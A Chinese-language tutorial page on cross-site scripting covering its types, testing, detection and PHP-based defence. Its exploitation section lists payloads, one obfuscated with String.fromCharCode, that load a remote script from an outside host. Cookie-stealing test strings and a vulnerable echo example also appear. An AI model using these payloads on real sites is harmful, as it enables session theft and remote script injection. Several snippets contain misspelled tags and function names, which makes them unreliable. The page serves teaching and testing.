XSS简介

XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,
当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行。重点在
“脚本”这两字上,脚本主要有两个:JavaScript和ActionScript。
  要想深入研究XSS,必须要精通JavaScript,JavaScript能做到什么效果,XSS的威力就有
多强大。

 XSS危害

JavaScript可以用来获取用户Cookie、改变页面内容,URL转跳,那么存在XSS漏洞的网站,就可以盗取
用户Cookie、黑掉网页、导航到恶意网站,而攻击者仅仅需要向页面注入JavaScript代码。
*盗取管理员Cookie
*XSS Worm
*挂马(水坑攻击)
*键盘记录(有局限性)
*利用网站重定向
*修改网页内容
*等等

 攻击场景

在各类SNS、邮件系统、开源流行的web应用、BBS、微博等社交场景中,前段攻击被广泛实施与关注、主要是
一些大型网站才有价值。
*支持html解析和javascript解析的客户端,如:html文档,flash、pdf等。
*url的参数,回显到网页上
*form表单提交的内容出现在网页上,如:昵称、邮箱、简介、留言等等。

 XSS分类

主要分为三类:反射型、存储型、DOM型(还有flash XSS、mXSS)。
1.反射型XSS
  反射型XSS也被称为非持久型XSS,是现在最容易出现的一种XSS漏洞。发出请求时,XSS代码出现在URL
中最后输入提交到服务器,服务器解析后在响应内容中出现这段XSS代码,最后浏览器解析执行。
简单流程:
  *用户访问带有XSS代码的URL请求
  *服务器端接收数据后处理,然后返回带有XSS代码的数据发送给浏览器
  *浏览器解析带有XSS代码的数据后,最终造成XSS漏洞
可能攻击流程:
  *用户aaa在网站www.xxx.com浏览网页
  *攻击者hacker发现www.xxx.com/xss.php存在反射型XSS漏洞,然后精心构造JavaScript代码,
代码功能为盗取用户Cookie并发送到指定站点www.xxser.com
  *Hacker将带有反射型XSS漏洞的URL通过站内信发给aaa,站内信为一些诱惑信息,目的是使用户aaa点击
  *假设用户aaa点击了带有XSS漏洞的URL,则aaa的Cookie将被发送到www.xxser.com
  *hacker获取aaa的Cookie后可以以aaa的身份登录www.xxx.com,从而得到aaa的敏感信息 
2.存储型XSS
  存储型XSS又被称为持久型XSS,它是最危险的一种跨站脚本,相比反射型XSS和DOM型XSS具有更高的
隐蔽性,所以危害更大,因为它不需要用户手动触发。允许用户存储数据的web程序都可能存在存储型XSS漏洞,
当攻击者提交一段XSS代码后,被服务器端接收并存储,当所有浏览者访问某个页面时都会被XSS,其中最典型
的例子就是留言板。
测试技巧:
  *首先确定输入点和输出点,比如留言,若留言输出(显示)的地方是标签内,则xss代码会被执行,但若
输出在属性内,则不会执行。
  如:<input type="text" name="content" value="<script>alert(/xss/)</script>"/>
  *确定输出点后根据相应的标签构造HTML代码来闭合,如:"/><script>alert(1)</ script><",最终
在html中为:<input type="text" name="content" value="" /><script>alert(1)</script><"" />
测试步骤:  
  *添加正常留言,用firebug快速查找显示标签,若显示区域不在html属性内则可以直接使用XSS代码注入  
  *若不能得知内容输出的位置,可以使用模糊测试方式,XSS代码如下:    
    a.<script>alert(document.cookie)</script> //普通注入
    b." /><script>alert(document.cookie)</script> //闭合标签注入
    c.</ textarea>'"><script>alert(document.cookie)</script> //闭合标签注入

XSS的检测

检测XSS一般分为两种方法:一种是手工检测、一种是软件自动检测。
手工检测:检测结果准确,但对于大型web来说费事费力。
软件检测:方便省力,但存在误报,且有写隐蔽的XSS无法检测出。
检测XSS最重要的就是考虑哪里有输入,输入的数据在哪里输出
1.手工检测
可得知输出位置:
  *输入敏感字符,如`<、>、"、'、()`等,然后在提交后查看html源代码,看这些字符串是否被转义。
  *在输出这些字符时,程序可能已经进行了过滤,可以输入"AAAAA<>&'()"字符串,然后查找AAAAA或许比较方便。
无法得知输出位置:
  很多web应用程序源码不公开,在测试时不能得知输出位置,比如,有些留言本在留言后必须经过管理员审核
才能显示,无法得知数据在后台管理员页面处于何种状态,如:
  在标签中:<div>XSS Test</ div>
  在属性内:<input type="text" name="content" value="XSS Test" />
  这种情况通常采用输入"/> XSS Test来测试。
2.全自动检测XSS
如AWVS、APPSCAN、Burp Suite等软件都可以有效的检测XSS,他们还会检测其他的漏洞,但是他们的效率
不如专业的XSS检测工具高。
专业的XSS扫描工具有知名的XSSER、XSSF等,还有专门扫描DOM类型XSS的web服务(www.domxssscanner.com)
一般要手工和软件一起使用,因为有些XSS软件不能检测,不如有些留言需要输入验证码等,工具无法做到。

 XSS的挖掘与利用

1.XSS漏洞挖掘反射型XSS:  

一般是url参数中的值能够回显到HTML中,且url的参数值没有过滤或过滤不严

存储型XSS:  

可以提交内容  

提交的内容可被管理员或其他用户看到  

提交的内容没有被过滤或过滤不严

2.XSS漏洞利用XSS一般就是闭合标签,和SQL注入类似,常见payload如下:*<script src='http://b.ioio.pub/xss/probe.js'></script>*<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'*<svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js>
*<svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,
114,105,112,116,39,41,59,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59, 115
,46,115,114,99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,47,120,115,115,47, 112,114,111,98,101,46,106,115)) >

 XSS简单示例

反射型xss简单示例:
<?php
echo $_GET['x'];
?>
提交:/xss.php?x=<script>alert(1)</script>
服务器解析时就会触发弹窗
下面是一段经典的DOM型XSS示例:
<scrip>
  var temp = document.URL; //获取url
  var index = document.URL.indexOf("content");
  var par = temp.substrint(index);
  document.write(decodeURL(par)); //输入获取内容
</script>
上述代码的意思是获取URL中content参数的值,并且输出,若输入http://www.xxx.com/dom.html?
content=<script>alert(/xss/)</script>,就会产生XSS漏洞。
只要在script标签中添加JavaScript代码,就能实现一些“特殊效果”,但通常在真实攻击中一般使用
<script src="http://www.xxx.com/a.txt"></script>的方式来加载外部脚本,a.txt中就存放这恶意脚本。
注:JavaScript加载的脚本文件可以是任意扩展名,甚至没有也行,只要加载的文件中含有JavaScript代码
就会被执行。

 XSS的防御

1.过滤输入与输出(重点)

使用hemispecialchars()和hemlentities()将一些预定义的字符转换为HTML实体。

<?php

@$html = $_GET['x'];  

if($html){      

echo htmlspecialchars($html); }

?>

2.HttpOnlyHttponly并不能防御XSS,它是为了解决XSS漏洞后面的Cookie劫持攻击,它可以有效地阻挡XSS会话劫持攻击。

5_XSS的更多相关文章

随机推荐

  1. C# 设计模式之空对象模式

    最近看了不少的书籍和视频等相关资料,决定自己边学习边写一下个人对设计模式的理解,如果有不对的请大家多多指正. 今天先说说我个人觉得最简单的设计模式 -- [空对象模式] 空对象模式可以减少客户端对对象 ...

  2. 玲珑杯 Round #11 (1001 1004 1007)

    比赛链接 直接贴代码.. #include<bits/stdc++.h> using namespace std; typedef long long LL; int main() { L ...

  3. 51nod_1120:机器人走方格 V3

    题目链接:https://www.51nod.com/onlineJudge/questionCode.html#!problemId=1120 Catalan数 基础题,ans=C(2n-2,n-2 ...

  4. cocos2dx之WebView踩过的坑(android返回键处理问题)

    最近游戏接入了一个私服平台,由于没有sdk,所以支付相关的操作需要在网页端进行,也就是说点击充值需要在游戏内部弹出一个网页,并定位到平台充值的地址.查阅相关资料后决定使用cocos2dx自带的WebV ...

  5. 关于MUI集成微信分享遇到的坑

    今天聊一下MUI这个框架吧! 首先,用这个框架也有很长一段时间了,项目不同,涉及到的功能也有不同,之前没有涉及到微信分享相关的内容!今天,遇到了,也解决了,分享出来. 下面是手顺: 1.分享的代码是参 ...

  6. Centos7 安装keepalived实现高可用

    场景:尝试安装keepalived实现高可用,进而在suse环境中部署. 测试过程需要配合Nginx的相关知识:Centos7 Nginx安装 1 安装过程 问题 !!! OpenSSL is not ...

  7. aspcms多图调用以及错误提示:3704

    1.“为师资介绍”(相册列表)建立了内容页(相册内容页), 需要对模板页面改造,在相册详细页调用多图,之前没有试过,这次利用: 实现多图调用,注意不能使用contentid=[content:id]  ...

  8. 几种常见排序算法原理&C语言实现

    一.冒泡排序(以下各法均以从小到大排序为例,定义len为数组array的长度) 原理:比较相邻元素的大小,对于每次循环,按排序的规则把最值移向数组的一端,同时循环次数依次减少. C代码实现 写法一: ...

  9. 30. leetcode 121. Best Time to Buy and Sell Stock

    121. Best Time to Buy and Sell Stock Say you have an array for which the ith element is the price of ...

  10. 解决oracle数据库删除sql语句出现^H字样

    1:安装readline包 yum install readline* 2:安装源码包: rlwrap-0.30.tar.gz    ./configure && make & ...